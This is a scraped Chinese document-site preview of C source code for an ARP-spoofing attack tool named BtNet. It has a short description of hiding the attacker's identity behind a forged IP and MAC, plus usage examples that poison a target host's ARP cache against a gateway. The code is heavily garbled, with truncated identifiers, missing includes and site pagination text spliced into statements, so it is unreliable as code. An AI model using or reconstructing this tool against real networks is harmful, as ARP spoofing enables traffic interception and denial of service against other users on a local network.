欢迎来到天天文库
浏览记录
ID:24557995
大小:56.00 KB
页数:4页
时间:2018-11-15
《基于arp欺骗的网络攻击程序源码》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、基于ARP欺骗的网络攻击程序源码~教育资源库 最近开始学AC] -m参数是你要修改的源MAC地址. 为了隐蔽攻击者身份,程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能会得不到目标主机的MAC地址,那么要得到MAC地址请借助第三方工具。 附测试程序代码#includepacket32.h#includentddndis.h#include#include#include#include#pragmament(lib,ament(lib,packet)#defineETH_IP0x
2、0800#defineETH_ARP0x0806#defineARP_REQUEST0x0001//arp请求包#defineARP_REPLY0x0002//arp应答包#defineARP_HARDAC,*PIP_MAC;#pragmapack(push)LPADAPTERlpAdapter;charadapterlist[max_num_adapter][1024];IP_MACtoipandmac;IP_MACoipandmac,myipandmac;BOOLparam6=FALSE;char*noMACstr;charnoMAC[6][3];u_lo
3、ngmytoIP,oIP;BOOLsendtoOip;MSGmsg;UINTneer;charMYIP[20]=128.128.128.128;BOOLtoipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;intgetint(charc){intt=-1;if((c<='9')(c>='0'))t=c-'0';elseif((c>='a')(c<='123下一页友情提醒:,特别!f'
4、))t=10+c-'a';elseif((c>='A')(c<='F'))t=10+c-'A';returnt;}voidstart(){printf(BtNet//--anARPTooltesttheAC]n);printf(Example:n);printf(BtNet-h202.115.138.12-o202.115.138.1n);printf(BtNet-h202.115.138.12-o202.115.138.1-m00-50-fc-6a--6b--7);printf(YI
5、P)))){if(oipandmac_flagmyipandmac_flagtoipandmac_flag)return0;if(((toipandmac.ip==htonl(arp->arp_spa))(toipandmac_flag==FALSE))
6、
7、((myipandmac.ip==htonl(arp->arp_spa))(myipandmac_flag==FALSE))
8、
9、((oipandmac.ip==htonl(arp->arp_spa))(oipandmac_flag==FALSE))){mems上一页123下一页友情提醒:,
10、特别!et(szTemp,0,sizeof(szTemp));memcpy(szTemp,arp->arp_spa,sizeof(arp->arp_spa));printf([IP]:);printf(%s,i_ntoa(*((structin_addr*)szTemp)));pr上一页123友情提醒:,特别!
此文档下载收益归作者所有